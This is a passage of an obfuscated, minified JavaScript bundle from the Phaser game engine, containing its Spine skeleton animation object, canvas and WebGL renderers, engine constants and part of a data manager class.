'INTERRUPTED': _0x3bb63a(0x774), 'START': _0x3bb63a(0x15d7) }; }, 0x208c: (_0x337834, _0x171eab, _0x535113) => { var _0x4cd1b3 = _0x535113(0x190c), _0x2ae990 = _0x535113(0xb63), _0x3160b9 = _0x535113(0x1d31), _0x50940d = _0x535113(0x7c7), _0x3cc295 = _0x535113(0xc3b), _0x48b71c = _0x535113(0x25bc), _0x2bfd52 = _0x535113(0x1213), _0x2961a3 = _0x535113(0xc8c), _0xb7b93b = _0x535113(0x20de), _0x1ec9fd = _0x535113(0xd62), _0x5c0d86 = _0x535113(0x1bed), _0x308fef = _0x535113(0x8e1), _0x4833e2 = _0x535113(0x1070), _0x2c54e7 = _0x535113(0x141a), _0x326f8c = _0x535113(0xaca), _0x3b5d79 = new _0x3160b9({ 'Extends': _0x308fef, 'Mixins': [_0x50940d, _0x3cc295, _0x48b71c, _0x2bfd52, _0x2961a3, _0xb7b93b, _0x326f8c], 'initialize': function (_0x3a310a, _0x1a560e, _0x23ff45, _0x46ea53, _0x3ed7ae, _0x31f39e, _0x345ee8) { _0x308fef['call'](this, _0x3a310a, 'Spine'), this['plugin'] = _0x1a560e, this['skeleton'] = null, this['skeletonData'] = null, this['state'] = null, this['stateData'] = null, this['root'] = null, this['bounds'] = null, this['drawDebug'] = !0x1, this['timeScale'] = 0x1, this['displayOriginX'] = 0x0, this['displayOriginY'] = 0x0, this['preMultipliedAlpha'] = !0x1, this['blendMode'] = -0x1, this['setPosition'](_0x23ff45, _0x46ea53), _0x3ed7ae && this['setSkeleton'](_0x3ed7ae, _0x31f39e, _0x345ee8); }, 'willRender': function (_0x5f1240, _0x29dbf1) { var _0x213832 = !this['skeleton'] || !(0xf !== this['renderFlags'] || 0x0 !== this['cameraFilter'] && this['cameraFilter'] & _0x5f1240['id']); if (!_0x29dbf1 && !_0x213832 && this['parentContainer']) { var _0xbc0378 = this['plugin'], _0xb03a21 = _0xbc0378['sceneRenderer']; _0xbc0378['gl'] && _0xb03a21['batcher']['isDrawing'] && (_0xb03a21['end'](), _0xbc0378['renderer']['pipelines']['rebind']()); } return _0x213832; }, 'setAlpha': function (_0x3bb0ac, _0x3bda5e) { if (void 0x0 === _0x3bb0ac && (_0x3bb0ac = 0x1), _0x3bda5e) { var _0x45e409 = this['findSlot'](_0x3bda5e); _0x45e409 && (_0x45e409['color']['a'] = _0x2ae990(_0x3bb0ac, 0x0, 0x1)); } else this['alpha'] = _0x3bb0ac; return this; }, 'alpha': { 'get': function () { return this['skeleton']['color']['a']; }, 'set': function (_0x512f78) { var _0x7e03f8 = _0x2ae990(_0x512f78, 0x0, 0x1); this['skeleton'] && (this['skeleton']['color']['a'] = _0x7e03f8), 0x0 === _0x7e03f8 ? this['renderFlags'] &= -0x3 : this['renderFlags'] |= 0x2; } }, 'red': { 'get': function () { return this['skeleton']['color']['r']; }, 'set': function (_0x3b1c3b) { var _0x166952 = _0x2ae990(_0x3b1c3b, 0x0, 0x1); this['skeleton'] && (this['skeleton']['color']['r'] = _0x166952); } }, 'green': { 'get': function () { return this['skeleton']['color']['g']; }, 'set': function (_0x4c0f93) { var _0x52755e = _0x2ae990(_0x4c0f93, 0x0, 0x1); this['skeleton'] && (this['skeleton']['color']['g'] = _0x52755e); } }, 'blue': { 'get': function () { return this['skeleton']['color']['b']; }, 'set': function (_0x5aa3fd) { var _0x46fcb9 = _0x2ae990(_0x5aa3fd, 0x0, 0x1); this['skeleton'] && (this['skeleton']['color']['b'] = _0x46fcb9); } }, 'setColor': function (_0x51fc55, _0xc66f83) { void 0x0 === _0x51fc55 && (_0x51fc55 = 0xffffff); var _0x394f83 = (_0x51fc55 >> 0x10 & 0xff) / 0xff, _0x31cc3c = (_0x51fc55 >> 0x8 & 0xff) / 0xff, _0x224042 = (0xff & _0x51fc55) / 0xff, _0x49cd07 = _0x51fc55 > 0xffffff ? (_0x51fc55 >>> 0x18) / 0xff : null, _0x214612 = this['skeleton']; if (_0xc66f83) { var _0x5a8bb1 = this['findSlot'](_0xc66f83); _0x5a8bb1 && (_0x214612 = _0x5a8bb1); } return _0x214612['color']['r'] = _0x394f83, _0x214612['color']['g'] = _0x31cc3c, _0x214612['color']['b'] = _0x224042, null !== _0x49cd07 && (_0x214612['color']['a'] = _0x49cd07), this; }, 'setSkeletonFromJSON': function (_0x19a184, _0x1a6b4e, _0x2405ab, _0x9c672d) { return this['setSkeleton'](_0x19a184, _0x1a6b4e, _0x2405ab, _0x9c672d); }, 'setSkeleton': function (_0x215df8, _0x17450d, _0x1a0311, _0x59a30d) { this['state'] && (this['state']['clearListeners'](), this['state']['clearListenerNotifications']()); var _0x1a37eb = this['plugin']['createSkeleton'](_0x215df8, _0x59a30d); this['skeletonData'] = _0x1a37eb['skeletonData'], this['preMultipliedAlpha'] = _0x1a37eb['preMultipliedAlpha']; var _0x52a3ce = _0x1a37eb['skeleton']; return _0x52a3ce['setSkin'](), _0x52a3ce['setToSetupPose'](), this['skeleton'] = _0x52a3ce, _0x1a37eb = this['plugin']['createAnimationState'](_0x52a3ce), this['state'] && (this['state']['clearListeners'](), this['state']['clearListenerNotifications']()), this['state'] = _0x1a37eb['state'], this['stateData'] = _0x1a37eb['stateData'], this['state']['addListener']({ 'event': this['onEvent']['bind'](this), 'complete': this['onComplete']['bind'](this), 'start': this['onStart']['bind'](this), 'end': this['onEnd']['bind'](this), 'dispose': this['onDispose']['bind'](this), 'interrupted': this['onInterrupted']['bind'](this) }), _0x17450d && this['setAnimation'](0x0, _0x17450d, _0x1a0311), this['root'] = this['getRootBone'](), this['root'] && (this['root']['rotation'] = _0x4833e2(_0x1ec9fd(this['rotation'])) + 0x5a), this['state']['apply'](_0x52a3ce), _0x52a3ce['updateCache'](), this['updateSize'](); }, 'onComplete': function (_0x4b1668) { this['emit'](_0x2c54e7['COMPLETE'], _0x4b1668); }, 'onDispose': function (_0x51342d) { this['emit'](_0x2c54e7['DISPOSE'], _0x51342d); }, 'onEnd': function (_0xdeb777) { this['emit'](_0x2c54e7['END'], _0xdeb777); }, 'onEvent': function (_0x1c62cf, _0x277f84) { this['emit'](_0x2c54e7['EVENT'], _0x1c62cf, _0x277f84); }, 'onInterrupted': function (_0x4c545e) { this['emit'](_0x2c54e7['INTERRUPTED'], _0x4c545e); }, 'onStart': function (_0x584689) { this['emit'](_0x2c54e7['START'], _0x584689); }, 'refresh': function () { return this['root'] && (this['root']['rotation'] = _0x4833e2(_0x1ec9fd(this['rotation'])) + 0x5a), this['updateSize'](), this['skeleton']['updateCache'](), this; }, 'setSize': function (_0x3f5d36, _0x212efa, _0x506503, _0x3e959f) { var _0x42e27b = this['skeleton']; return void 0x0 === _0x3f5d36 && (_0x3f5d36 = _0x42e27b['data']['width']), void 0x0 === _0x212efa && (_0x212efa = _0x42e27b['data']['height']), void 0x0 === _0x506503 && (_0x506503 = 0x0), void 0x0 === _0x3e959f && (_0x3e959f = 0x0), this['width'] = _0x3f5d36, this['height'] = _0x212efa, this['displayOriginX'] = _0x42e27b['x'] - _0x506503, this['displayOriginY'] = _0x42e27b['y'] - _0x3e959f, this; }, 'setOffset': function (_0xec47ef, _0x2f4981) { var _0x542b32 = this['skeleton']; return void 0x0 === _0xec47ef && (_0xec47ef = 0x0), void 0x0 === _0x2f4981 && (_0x2f4981 = 0x0), this['displayOriginX'] = _0x542b32['x'] - _0xec47ef, this['displayOriginY'] = _0x542b32['y'] - _0x2f4981, this; }, 'updateSize': function () { var _0x53f2f2 = this['skeleton'], _0x34bccc = this['plugin']['renderer']['height'], _0x52f79d = this['scaleX'], _0x785413 = this['scaleY']; _0x53f2f2['x'] = this['x'], _0x53f2f2['y'] = _0x34bccc - this['y'], _0x53f2f2['scaleX'] = 0x1, _0x53f2f2['scaleY'] = 0x1, _0x53f2f2['updateWorldTransform'](); var _0xe0585f = this['getBounds'](); return this['width'] = _0xe0585f['size']['x'], this['height'] = _0xe0585f['size']['y'], this['displayOriginX'] = this['x'] - _0xe0585f['offset']['x'], this['displayOriginY'] = this['y'] - (_0x34bccc - (this['height'] + _0xe0585f['offset']['y'])), _0x53f2f2['scaleX'] = _0x52f79d, _0x53f2f2['scaleY'] = _0x785413, _0x53f2f2['updateWorldTransform'](), this; }, 'scaleX': { 'get': function () { return this['_scaleX']; }, 'set': function (_0x3a0850) { this['_scaleX'] = _0x3a0850, this['refresh'](); } }, 'scaleY': { 'get': function () { return this['_scaleY']; }, 'set': function (_0x48b2b9) { this['_scaleY'] = _0x48b2b9, this['refresh'](); } }, 'getBoneList': function () { var _0x44f5e4 = [], _0x4d3990 = this['skeletonData']; if (_0x4d3990) { for (var _0x349e90 = 0x0; _0x349e90 < _0x4d3990['bones']['length']; _0x349e90++)_0x44f5e4['push'](_0x4d3990['bones'][_0x349e90]['name']); } return _0x44f5e4; }, 'getSkinList': function () { var _0x4ce16f = [], _0x12f917 = this['skeletonData']; if (_0x12f917) { for (var _0x221301 = 0x0; _0x221301 < _0x12f917['skins']['length']; _0x221301++)_0x4ce16f['push'](_0x12f917['skins'][_0x221301]['name']); } return _0x4ce16f; }, 'getSlotList': function () { for (var _0x32e359 = [], _0x4e90dd = this['skeleton'], _0x367993 = 0x0; _0x367993 < _0x4e90dd['slots']['length']; _0x367993++)_0x32e359['push'](_0x4e90dd['slots'][_0x367993]['data']['name']); return _0x32e359; }, 'getAnimationList': function () { var _0x3b2b2f = [], _0x2b9cd5 = this['skeletonData']; if (_0x2b9cd5) { for (var _0xa3709d = 0x0; _0xa3709d < _0x2b9cd5['animations']['length']; _0xa3709d++)_0x3b2b2f['push'](_0x2b9cd5['animations'][_0xa3709d]['name']); } return _0x3b2b2f; }, 'getCurrentAnimation': function (_0x15a8f4) { void 0x0 === _0x15a8f4 && (_0x15a8f4 = 0x0); var _0xea7ebd = this['state']['getCurrent'](_0x15a8f4); if (_0xea7ebd) return _0xea7ebd['animation']; }, 'play': function (_0x4e1a6c, _0x451c3f, _0x107264) { return this['setAnimation'](0x0, _0x4e1a6c, _0x451c3f, _0x107264), this; }, 'setAnimation': function (_0x463eb5, _0x3e2df2, _0x2627e6, _0x186d24) { if (void 0x0 === _0x2627e6 && (_0x2627e6 = !0x1), void 0x0 === _0x186d24 && (_0x186d24 = !0x1), _0x186d24 && this['state']) { var _0x4cd3d3 = this['state']['getCurrent'](_0x463eb5); if (_0x4cd3d3 && _0x4cd3d3['animation']['name'] === _0x3e2df2 && !_0x4cd3d3['isComplete']()) return; } if (this['findAnimation'](_0x3e2df2)) return this['state']['setAnimation'](_0x463eb5, _0x3e2df2, _0x2627e6); }, 'addAnimation': function (_0x17f740, _0x477195, _0x19bb06, _0x4d3653) { return void 0x0 === _0x19bb06 && (_0x19bb06 = !0x1), void 0x0 === _0x4d3653 && (_0x4d3653 = 0x0), this['state']['addAnimation'](_0x17f740, _0x477195, _0x19bb06, _0x4d3653); }, 'setEmptyAnimation': function (_0x3deb94, _0x1e0084) { return this['state']['setEmptyAnimation'](_0x3deb94, _0x1e0084); }, 'clearTrack': function (_0x7f10e8) { return this['state']['clearTrack'](_0x7f10e8), this; }, 'clearTracks': function () { return this['state']['clearTracks'](), this; }, 'setSkinByName': function (_0x8f59) { var _0x243a9f = this['skeleton']; return _0x243a9f['setSkinByName'](_0x8f59), _0x243a9f['setSlotsToSetupPose'](), this['state']['apply'](_0x243a9f), this; }, 'setSkin': function (_0x329c3c) { var _0x239f6a = this['skeleton']; return _0x239f6a['setSkin'](_0x329c3c), _0x239f6a['setSlotsToSetupPose'](), this['state']['apply'](_0x239f6a), this; }, 'setMix': function (_0x32c52c, _0x66a555, _0x1c1abc) { return this['stateData']['setMix'](_0x32c52c, _0x66a555, _0x1c1abc), this; }, 'getAttachment': function (_0x2c4c0e, _0x4a95c9) { return this['skeleton']['getAttachment'](_0x2c4c0e, _0x4a95c9); }, 'getAttachmentByName': function (_0x10e4ce, _0x5297fc) { return this['skeleton']['getAttachmentByName'](_0x10e4ce, _0x5297fc); }, 'setAttachment': function (_0xd19b5b, _0x21abba) { if (Array['isArray'](_0xd19b5b) && Array['isArray'](_0x21abba) && _0xd19b5b['length'] === _0x21abba['length']) { for (var _0x4d1485 = 0x0; _0x4d1485 < _0xd19b5b['length']; _0x4d1485++)this['skeleton']['setAttachment'](_0xd19b5b[_0x4d1485], _0x21abba[_0x4d1485]); } else this['skeleton']['setAttachment'](_0xd19b5b, _0x21abba); return this; }, 'setToSetupPose': function () { return this['skeleton']['setToSetupPose'](), this; }, 'setSlotsToSetupPose': function () { return this['skeleton']['setSlotsToSetupPose'](), this; }, 'setBonesToSetupPose': function () { return this['skeleton']['setBonesToSetupPose'](), this; }, 'getRootBone': function () { return this['skeleton']['getRootBone'](); }, 'angleBoneToXY': function (_0x1062fe, _0x2b1372, _0x2a20f7, _0x5cfe3c, _0x1157fb, _0x365d0b) { void 0x0 === _0x5cfe3c && (_0x5cfe3c = 0x0), void 0x0 === _0x1157fb && (_0x1157fb = 0x0), void 0x0 === _0x365d0b && (_0x365d0b = 0x168); var _0x3f2e17 = this['plugin']['renderer']['height'], _0x120ef2 = _0x1ec9fd(_0x4cd1b3(_0x1062fe['worldX'], _0x3f2e17 - _0x1062fe['worldY'], _0x2b1372, _0x2a20f7) + _0x5c0d86(_0x5cfe3c)); return _0x1062fe['rotation'] = _0x2ae990(_0x4833e2(_0x120ef2), _0x1157fb, _0x365d0b), this; }, 'findBone': function (_0xf96e67) { return this['skeleton']['findBone'](_0xf96e67); }, 'findBoneIndex': function (_0x3236d2) { return this['skeleton']['findBoneIndex'](_0x3236d2); }, 'findSlot': function (_0x37b20c) { return this['skeleton']['findSlot'](_0x37b20c); }, 'findSlotIndex': function (_0x44265d) { return this['skeleton']['findSlotIndex'](_0x44265d); }, 'findSkin': function (_0x12f044) { return this['skeletonData']['findSkin'](_0x12f044); }, 'findEvent': function (_0x4c4d31) { return this['skeletonData']['findEvent'](_0x4c4d31); }, 'findAnimation': function (_0x1a3ab4) { return this['skeletonData']['findAnimation'](_0x1a3ab4); }, 'findIkConstraint': function (_0x40a13d) { return this['skeletonData']['findIkConstraint'](_0x40a13d); }, 'findTransformConstraint': function (_0x5d16c6) { return this['skeletonData']['findTransformConstraint'](_0x5d16c6); }, 'findPathConstraint': function (_0x164901) { return this['skeletonData']['findPathConstraint'](_0x164901); }, 'findPathConstraintIndex': function (_0x3b6531) { return this['skeletonData']['findPathConstraintIndex'](_0x3b6531); }, 'getBounds': function () { return this['plugin']['getBounds'](this['skeleton']); }, 'preUpdate': function (_0x1ac30a, _0x1587cc) { var _0x14c715 = this['skeleton']; this['state']['update'](_0x1587cc / 0x3e8 * this['timeScale']), this['state']['apply'](_0x14c715); }, 'preDestroy': function () { this['state'] && (this['state']['clearListeners'](), this['state']['clearListenerNotifications']()), this['plugin'] = null, this['skeleton'] = null, this['skeletonData'] = null, this['state'] = null, this['stateData'] = null; } }); _0x337834['exports'] = _0x3b5d79; }, 0xac1: (_0x2a5d22, _0x3aa397, _0x34c200) => { var _0x21c01d = _0x34c200(0xd62), _0x33cede = _0x34c200(0x1070), _0x4d71e2 = _0x34c200(0x20fd); _0x2a5d22['exports'] = function (_0x5e9777, _0x33cdc8, _0x3f70b6, _0x5e636e) { var _0x230887 = _0x5e9777['currentContext'], _0x4929c3 = _0x33cdc8['plugin'], _0x16fce3 = _0x33cdc8['skeleton'], _0x963a26 = _0x4929c3['skeletonRenderer'], _0x452bd6 = _0x5e9777['_tempMatrix1'], _0x2d5bdd = _0x5e9777['_tempMatrix2'], _0x17f1df = _0x5e9777['_tempMatrix3']; _0x3f70b6['addToRenderList'](_0x33cdc8), _0x2d5bdd['applyITRS'](_0x33cdc8['x'], _0x33cdc8['y'], _0x33cdc8['rotation'], Math['abs'](_0x33cdc8['scaleX']), Math['abs'](_0x33cdc8['scaleY'])), _0x452bd6['copyFrom'](_0x3f70b6['matrix']), _0x5e636e ? (_0x452bd6['multiplyWithOffset'](_0x5e636e, -_0x3f70b6['scrollX'] * _0x33cdc8['scrollFactorX'], -_0x3f70b6['scrollY'] * _0x33cdc8['scrollFactorY']), _0x2d5bdd['e'] = _0x33cdc8['x'], _0x2d5bdd['f'] = _0x33cdc8['y'], _0x452bd6['multiply'](_0x2d5bdd, _0x17f1df)) : (_0x2d5bdd['e'] -= _0x3f70b6['scrollX'] * _0x33cdc8['scrollFactorX'], _0x2d5bdd['f'] -= _0x3f70b6['scrollY'] * _0x33cdc8['scrollFactorY'], _0x452bd6['multiply'](_0x2d5bdd, _0x17f1df)), _0x16fce3['x'] = _0x17f1df['tx'], _0x16fce3['y'] = _0x17f1df['ty'], _0x16fce3['scaleX'] = _0x17f1df['scaleX'], _0x16fce3['scaleY'] = -0x1 * _0x17f1df['scaleY'], _0x33cdc8['scaleX'] < 0x0 ? (_0x16fce3['scaleX'] *= -0x1, _0x33cdc8['root']['rotation'] = _0x33cede(_0x17f1df['rotationNormalized'])) : _0x33cdc8['root']['rotation'] = _0x4d71e2(_0x33cede(_0x21c01d(_0x17f1df['rotationNormalized'])) + 0x5a, 0x0, 0x168), _0x33cdc8['scaleY'] < 0x0 && (_0x16fce3['scaleY'] *= -0x1, _0x33cdc8['scaleX'] < 0x0 ? _0x33cdc8['root']['rotation'] -= 0x2 * _0x33cede(_0x17f1df['rotationNormalized']) : _0x33cdc8['root']['rotation'] += 0x2 * _0x33cede(_0x17f1df['rotationNormalized'])), _0x3f70b6['renderToTexture'] && (_0x16fce3['y'] = _0x17f1df['ty'], _0x16fce3['scaleY'] *= -0x1), _0x16fce3['updateWorldTransform'](), _0x963a26['ctx'] = _0x230887, _0x963a26['debugRendering'] = _0x4929c3['drawDebug'] || _0x33cdc8['drawDebug'], _0x230887['save'](), _0x963a26['draw'](_0x16fce3), _0x230887['restore'](); }; }, 0xaca: (_0x47cf5c, _0x261db2, _0x22a6e6) => { var _0x293d5f = _0x22a6e6(0x7c0), _0x50b041 = _0x22a6e6(0x7c0), _0x2babef = _0x22a6e6(0x7c0); _0x293d5f = _0x22a6e6(0x10c2), _0x2babef = _0x22a6e6(0x30c), _0x50b041 = _0x22a6e6(0xac1), _0x47cf5c['exports'] = { 'renderWebGL': _0x293d5f, 'renderCanvas': _0x50b041, 'renderDirect': _0x2babef }; }, 0x30c: (_0x27e0bc, _0x42a552, _0x2c948c) => { var _0x4eeb32 = _0x2c948c(0xb63), _0x1e4366 = _0x2c948c(0xd62), _0x1a971c = _0x2c948c(0x8a0), _0x1b3c74 = _0x2c948c(0x1070), _0x4c77e7 = _0x2c948c(0x20fd); _0x27e0bc['exports'] = function (_0x5cb5be, _0x4e8eb8, _0x1090e9, _0x415ed8, _0x47e0b7) { var _0x3cae79 = _0x4e8eb8['plugin'], _0x454f12 = _0x4e8eb8['skeleton'], _0x7cf3b4 = _0x3cae79['sceneRenderer']; _0x5cb5be['pipelines']['clear'](), _0x7cf3b4['begin'](); var _0xc9d604 = _0x4e8eb8['scrollFactorX'], _0x57f2ce = _0x4e8eb8['scrollFactorY'], _0xed655 = _0x454f12['color']['a']; _0x47e0b7 && (_0x4e8eb8['scrollFactorX'] = _0x47e0b7['scrollFactorX'], _0x4e8eb8['scrollFactorY'] = _0x47e0b7['scrollFactorY'], _0x454f12['color']['a'] = _0x4eeb32(_0xed655 * _0x47e0b7['alpha'], 0x0, 0x1)), _0x1090e9['addToRenderList'](_0x4e8eb8); var _0x42c466 = _0x1a971c(_0x4e8eb8, _0x1090e9, _0x415ed8)['calc'], _0x519d7a = _0x5cb5be['height']; if (_0x454f12['x'] = _0x42c466['tx'], _0x454f12['y'] = _0x519d7a - _0x42c466['ty'], _0x454f12['scaleX'] = _0x42c466['scaleX'], _0x454f12['scaleY'] = _0x42c466['scaleY'], _0x4e8eb8['scaleX'] < 0x0 ? (_0x454f12['scaleX'] *= -0x1, _0x4e8eb8['root']['rotation'] = _0x4c77e7(_0x1b3c74(_0x42c466['rotationNormalized']) - 0xb4, 0x0, 0x168)) : _0x4e8eb8['root']['rotation'] = _0x4c77e7(_0x1b3c74(_0x1e4366(_0x42c466['rotationNormalized'])) + 0x5a, 0x0, 0x168), _0x4e8eb8['scaleY'] < 0x0 && (_0x454f12['scaleY'] *= -0x1, _0x4e8eb8['scaleX'] < 0x0 ? _0x4e8eb8['root']['rotation'] -= 0x2 * _0x1b3c74(_0x42c466['rotationNormalized']) : _0x4e8eb8['root']['rotation'] += 0x2 * _0x1b3c74(_0x42c466['rotationNormalized'])), _0x454f12['updateWorldTransform'](), _0x7cf3b4['drawSkeleton'](_0x454f12, _0x4e8eb8['preMultipliedAlpha']), _0x47e0b7 && (_0x4e8eb8['scrollFactorX'] = _0xc9d604, _0x4e8eb8['scrollFactorY'] = _0x57f2ce, _0x454f12['color']['a'] = _0xed655), _0x3cae79['drawDebug'] || _0x4e8eb8['drawDebug']) { var _0x574ca3 = _0x454f12['x'], _0x17f03a = _0x454f12['y']; _0x454f12['x'] = 0x0, _0x454f12['y'] = 0x0, _0x7cf3b4['drawSkeletonDebug'](_0x454f12, _0x4e8eb8['preMultipliedAlpha']), _0x454f12['x'] = _0x574ca3, _0x454f12['y'] = _0x17f03a; } _0x7cf3b4['end'](), _0x5cb5be['pipelines']['rebind'](); }; }, 0x10c2: (_0xcb6940, _0x5bc11f, _0x4ca7c6) => { var _0x435878 = _0x4ca7c6(0xb63), _0x184eec = _0x4ca7c6(0xd62), _0x213617 = _0x4ca7c6(0x8a0), _0x509ce2 = _0x4ca7c6(0x1070), _0x24cc63 = _0x4ca7c6(0x20fd); _0xcb6940['exports'] = function (_0x1f00c9, _0x423520, _0x130ead, _0x1dac84, _0xeb8fd2) { var _0x273053 = _0x423520['plugin'], _0x494b37 = _0x423520['skeleton'], _0xe09463 = _0x273053['sceneRenderer']; _0x1f00c9['newType'] && (_0x1f00c9['pipelines']['clear'](), _0xe09463['begin']()); var _0x51ebb4 = _0x423520['scrollFactorX'], _0x24dfa8 = _0x423520['scrollFactorY'], _0x269f07 = _0x494b37['color']['a']; _0xeb8fd2 && (_0x423520['scrollFactorX'] = _0xeb8fd2['scrollFactorX'], _0x423520['scrollFactorY'] = _0xeb8fd2['scrollFactorY'], _0x494b37['color']['a'] = _0x435878(_0x269f07 * _0xeb8fd2['alpha'], 0x0, 0x1)), _0x130ead['addToRenderList'](_0x423520); var _0x5d661b = _0x213617(_0x423520, _0x130ead, _0x1dac84)['calc'], _0x80ed89 = _0x1f00c9['height']; if (_0x494b37['x'] = _0x5d661b['tx'], _0x494b37['y'] = _0x80ed89 - _0x5d661b['ty'], _0x494b37['scaleX'] = _0x5d661b['scaleX'], _0x494b37['scaleY'] = _0x5d661b['scaleY'], _0x423520['scaleX'] < 0x0 ? (_0x494b37['scaleX'] *= -0x1, _0x423520['root']['rotation'] = _0x24cc63(_0x509ce2(_0x5d661b['rotationNormalized']) - 0xb4, 0x0, 0x168)) : _0x423520['root']['rotation'] = _0x24cc63(_0x509ce2(_0x184eec(_0x5d661b['rotationNormalized'])) + 0x5a, 0x0, 0x168), _0x423520['scaleY'] < 0x0 && (_0x494b37['scaleY'] *= -0x1, _0x423520['scaleX'] < 0x0 ? _0x423520['root']['rotation'] -= 0x2 * _0x509ce2(_0x5d661b['rotationNormalized']) : _0x423520['root']['rotation'] += 0x2 * _0x509ce2(_0x5d661b['rotationNormalized'])), _0x494b37['updateWorldTransform'](), _0xe09463['drawSkeleton'](_0x494b37, _0x423520['preMultipliedAlpha']), _0xeb8fd2 && (_0x423520['scrollFactorX'] = _0x51ebb4, _0x423520['scrollFactorY'] = _0x24dfa8, _0x494b37['color']['a'] = _0x269f07), _0x273053['drawDebug'] || _0x423520['drawDebug']) { var _0x1cec9c = _0x494b37['x'], _0x438150 = _0x494b37['y']; _0x494b37['x'] = 0x0, _0x494b37['y'] = 0x0, _0xe09463['drawSkeletonDebug'](_0x494b37, _0x423520['preMultipliedAlpha']), _0x494b37['x'] = _0x1cec9c, _0x494b37['y'] = _0x438150; } _0x1f00c9['nextTypeMatch'] || (_0xe09463['end'](), _0x1f00c9['pipelines']['rebind']()); }; }, 0x24ee: (_0x2cf266, _0x277d64, _0x59ce05) => { var _0x1e590b = { 'VERSION': '3.70.0', 'BlendModes': _0x59ce05(0x209f), 'ScaleModes': _0x59ce05(0x2004), 'AUTO': 0x0, 'CANVAS': 0x1, 'WEBGL': 0x2, 'HEADLESS': 0x3, 'FOREVER': -0x1, 'NONE': 0x4, 'UP': 0x5, 'DOWN': 0x6, 'LEFT': 0x7, 'RIGHT': 0x8 }; _0x2cf266['exports'] = _0x1e590b; }, 0x439: (_0x1e2a28, _0x470456, _0x175700) => { var _0x4ca037 = _0x175700(0x1d31), _0xbab56b = _0x175700(0x1a5c), _0x59e148 = new _0x4ca037({ 'initialize': function (_0x556b6b, _0x4a61a7) { this['parent'] = _0x556b6b, this['events'] = _0x4a61a7, _0x4a61a7 || (this['events'] = _0x556b6b['events'] ? _0x556b6b['events'] : _0x556b6b), this['list'] = {}, this['values'] = {}, this['_frozen'] = !0x1, !_0x556b6b['hasOwnProperty']('sys') && this['events'] && this['events']['once'](_0xbab56b['DESTROY'], this['destroy'], this); }, 'get': function (_0x8edb0f) { var _0x2d6f36 = this['list']; if (Array['isArray'](_0x8edb0f)) { for (var _0x1ef178 = [], _0x4ed3a2 = 0x0; _0x4ed3a2 < _0x8edb0f['length']; _0x4ed3a2++)_0x1ef178['push'](_0x2d6f36[_0x8edb0f[_0x4ed3a2]]); return _0x1ef178; } return _0x2d6f36[_0x8edb0f]; }, 'getAll': function () { var _0x28f930 = {}; for (var _0x57e794 in this['list']) this['list']['hasOwnProperty'](_0x57e794) && (_0x28f930[_0x57e794] = this['list'][_0x57e794]); return _0x28f930; }, 'query': function (_0x1e1037) { var _0x550d7f = {}; for (var _0x2b1aab in this['list']) this['list']['hasOwnProperty'](_0x2b1aab) && _0x2b1aab['match'](_0x1e1037) && (_0x550d7f[_0x2b1aab] = this['list'][_0x2b1aab]); return _0x550d7f; }, 'set': function (_0x442791, _0x297cc7) { if (this['_frozen']) return this; if ('string' == typeof _0x442791) return this['setValue'](_0x442791, _0x297cc7); for (var _0x793700 in _0x442791) this['setValue'](_0x793700, _0x442791[_0x793700]); return this; }, 'inc': function (_0x170f88, _0x50c144) { if (this['_frozen']) return this; void 0x0 === _0x50c144 && (_0x50c144 = 0x1); var _0x458a58 = this['get'](_0x170f88); return void 0x0 === _0x458a58 && (_0x458a58 = 0x0), this['set'](_0x170f88, _0x458a58 + _0x50c144), this; }, 'toggle': function (_0x460850) { return this['_frozen'] || this['set'](_0x460850, !this['get'](_0x460850)), this; }, 'setValue': function (_0x3532d7, _0x511520) { if (this['_frozen']) return this; if (this['has'](_0x3532d7)) this['values'][_0x3532d7] = _0x511520; else { var _0x4b8372 = this, _0x166656 = this['list'], _0x2bf17e = this['events'], _0x2e4642 = this['parent']; Object['defineProperty'](this['values'], _0x3532d7, { 'enumerable': !0x0, 'configurable': !0x0, 'get': function () { return _0x166656[_0x3532d7]; }, 'set': function (_0x3a02a0) { if (!_0x4b8372['_frozen']) { var _0x5416b6 = _0x166656[_0x3532d7]; _0x166656[_0x3532d7] = _0x3a02a0, _0x2bf17e['emit'](_0xbab56b['CHANGE_DATA'], _0x2e4642, _0x3532d7, _0x3a02a0, _0x5416b6), _0x2bf17e['emit'](_0xbab56b['CHANGE_DATA_KEY'] + _0x3532d7, _0x2e4642, _0x3a02a0, _0x5416b6); } } }), _0x166656[_0x3532d7] = _0x511520, _0x2bf17e['emit'](_0xbab56b['SET_DATA'], _0x2e4642, _0x3532d7, _0x511520); } return this; }, 'each': function (_0x2ecb86, _0x2b0c51) { for (var _0x4e846d = [this['parent'], null, void 0x0], _0x242d5f = 0x1; _0x242d5f < arguments['length']; _0x242d5f++)_0x4e846d['push'](arguments[_0x242d5f]); for (var _0x2f23d5 in this['list']) _0x4e846d[0x1] = _0x2f23d5, _0x4e846d[0x2] = this['list'][_0x2f23d5], _0x2ecb86['apply'](_0x2b0c51, _0x4e846d); return this; }, 'merge': function (_0x4fbacc, _0x1e4db1) { for (var _0x4b3bcc in (void 0x0 === _0x1e4db1 && (_0x1e4db1 = !0x0), _0x4fbacc)) _0x4fbacc['hasOwnProperty'](_0x4b3bcc) && (_0x1e4db1 || !_0x1e4db1 && !this['has'](_0x4b3bcc)) && this['setValue'](_0x4b3bcc, _0x4fbacc[_0x4b3bcc]); return this; }, 'remove': function (_0x2351e) { if (this['_frozen']) return this; if (!Array['isArray'](_0x2351e)) return this['removeValue'](_0x2351e); for (var _0x3d58a2 = 0x0; _0x3d58a2 < _0x2351e['length']; _0x3d58a2++)this['removeValue'](_0x2351e[_0x3d58a2]); return this; }, 'removeValue': function (_0x351e89) { if (this['has'](_0x351e89)) { var _0x3d08cf = this['list'][_0x351e89]; delete this['list'][_0x351e89], delete this['values'][_0x351e89], this['events']['emit'](_0xbab56b['REMOVE_DATA'], this['parent'], _0x351e89, _0x3d08cf); } return this; }, 'pop': function (_0x5cb055) { var _0x256149 = void 0x0; return !this['_frozen'] && this['has'](_0x5cb055) && (_0x256149 = this['list'][_0x5cb055], delete this['list'][_0x5cb055], delete this['values'][_0x5cb055], this['events']['emit'](_0xbab56b['REMOVE_DATA'], this['parent'], _0x5cb055, _0x256149)), _0x256149; }, 'has': function (_0x5358b8) { return this['list']['hasOwnProperty'](_0x5358b8); }, 'setFreeze': function (_0x32821b) { return this['_frozen'] = _0x32821b, this; }, 'reset': function () { for (var _0x162dde in this['list']) delete this['list'][_0x162dde], delete this['values'][_0x162dde]; return this['_frozen'] = !0x1, this; }, 'destroy': function () { this['reset'](), this['events']['off'](_0xbab56b['CHANGE_DATA']), this['events']['off'](_0xbab56b['SET_DATA']), 